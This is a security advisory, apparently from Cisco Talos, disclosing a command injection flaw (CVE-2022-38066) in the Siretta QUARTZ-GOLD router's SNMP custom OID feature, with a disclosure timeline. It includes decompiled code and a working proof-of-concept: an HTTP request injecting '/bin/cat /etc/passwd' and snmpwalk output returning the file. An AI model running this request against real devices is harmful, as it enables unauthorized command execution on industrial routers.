CVE-2022-38066
An OS command injection vulnerability exists in the httpd SNMP functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP response can lead to arbitrary command execution. An attacker can send a network request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Siretta QUARTZ-GOLD G5.0.1.5-210720-141020
QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/
7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.
Based on the web page shown, functionalities and the documentation publicly available, the QUARTZ-GOLD does not provide any way to directly access the linux system that runs on the router. The router has an SNMP service. This service sets custom OID, which are used to extend the SNMP functionalities. The specified entry is translated in the SNMP configuration file as an exec entry. This specifies arbitrary commands in the custom OID, and those are going to be executed when queried through SNMP, allowing arbitrary command execution.
Following the function in the rc
binary that manages the creation of the /etc/snmpd.conf
:
void start_snmpd(void)
{
[...]
snmp_conf = fopen("/etc/snmpd.conf","w");
[...]
fputs("exec .1.3.6.1.4.1.2021.500 modem /bin/nvram get modem_type\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.501 csq /bin/sh /tmp/csq.sh\n",snmp_conf);
[...]
fputs("exec .1.3.6.1.4.1.2021.535 sim_1_mode /bin/nvram get cellType\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.536 sim_1_oper_lock /bin/nvram get cops_oper\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.537 sim_1_pin /bin/nvram get CelldialPincode\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.538 sim_1_apn /bin/nvram get CelldialApn\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.539 sim_1_auth /bin/nvram get auth_type\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.540 sim_1_user /bin/nvram get CelldialUser\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.541 sim_1_passwd /bin/nvram get CelldialPwd\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.542 sim_2_mode /bin/nvram get cellType2\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.543 sim_2_oper_lock /bin/nvram get cops_oper2\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.544 sim_2_pin /bin/nvram get CelldialPincode2\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.545 sim_2_apn /bin/nvram get CelldialApn2\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.546 sim_2_auth /bin/nvram get auth_type2\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.547 sim_2_user /bin/nvram get CelldialUser2\n",snmp_conf);
fputs("exec .1.3.6.1.4.1.2021.548 sim_2_passwd /bin/nvram get CelldialPwd2\n",snmp_conf);
is_custom_empty = nvram_match_("custom_oid1","");
if (is_custom_empty == 0) {
custom_oid = nvram_get_("custom_oid1");
fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.501 custom1 %s\n",custom_oid);
}
is_custom_empty = nvram_match_("custom_oid2","");
if (is_custom_empty == 0) {
custom_oid = nvram_get_("custom_oid2");
fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.502 custom2 %s\n",custom_oid);
}
is_custom_empty = nvram_match_("custom_oid3","");
if (is_custom_empty == 0) {
custom_oid = nvram_get_("custom_oid3");
fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.503 custom3 %s\n",custom_oid);
}
is_custom_empty = nvram_match_("custom_oid4","");
if (is_custom_empty == 0) {
custom_oid = nvram_get_("custom_oid4");
fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.504 custom4 %s\n",custom_oid);
}
is_custom_empty = nvram_match_("custom_oid5","");
if (is_custom_empty == 0) {
custom_oid = nvram_get_("custom_oid5");
fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.505 custom5 %s\n",custom_oid);
}
[...]
return;
}
One of the responsibilities of the start_snmpd
function is to create the /etc/snmpd.conf
. We removed the code unrelated to the snmp.conf
and left only the part of the code related with the exec
entries.
Sending a request like the following:
POST /tomato.cgi HTTP/1.1
Content-Length: 382
Authorization: Basic <a valid basic auth>
_ajax=1&_service=snmp-restart%2Cfirewall-restart&snmp_enable=1&snmp_remote=0&snmp_port=161&snmp_sysname=Siretta&snmp_location=router&snmp_contact=admin@router&snmp_ro=rocommunity&snmp_rw=rwcommunity&v3_auth_type=NONE&v3_auth_passwd=&v3_priv_type=NONE&v3_priv_passwd=&custom_oid1=/bin/cat%20/etc/passwd&custom_oid2=&custom_oid3=&custom_oid4=&custom_oid5=&_http_id=<the correct tid>
Will generate the following response:
HTTP/1.0 200 OK
Date: Sat, 01 Jan 2000 05:41:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, must-revalidate, private
Expires: Thu, 31 Dec 1970 00:00:00 GMT
Pragma: no-cache
Connection: close
@msg:Settings saved.Some services are being restarted...%
After this response, the SNMP server would be able to answer to the custom OID:
snmpwalk -c public <ROUTER_IP> -v3 -u admin 1.3.6.1.4.1.2022.501
Bad operator (INTEGER): At line 73 in /usr/share/snmp/mibs/ietf/SNMPv2-PDU
SNMPv2-SMI::enterprises.2022.501.1.1 = INTEGER: 1
SNMPv2-SMI::enterprises.2022.501.2.1 = STRING: "custom1"
SNMPv2-SMI::enterprises.2022.501.3.1 = STRING: "/bin/cat /etc/passwd"
SNMPv2-SMI::enterprises.2022.501.100.1 = INTEGER: 0
SNMPv2-SMI::enterprises.2022.501.101.1 = STRING: "root:x:0:0:root:/root:/bin/sh"
SNMPv2-SMI::enterprises.2022.501.101.2 = STRING: "admin:x:0:0:admin:/root:/bin/sh"
SNMPv2-SMI::enterprises.2022.501.101.3 = STRING: "nobody:x:65534:65534:nobody:/dev/null:/dev/null"
SNMPv2-SMI::enterprises.2022.501.102.1 = INTEGER: 0
SNMPv2-SMI::enterprises.2022.501.103.1 = ""
The value of this OID is the results of the command /bin/cat /etc/passwd
.
2022-10-14 - Initial Vendor Contact
2022-10-20 - Vendor Disclosure
2022-11-24 - Vendor Patch Release
2023-01-26 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.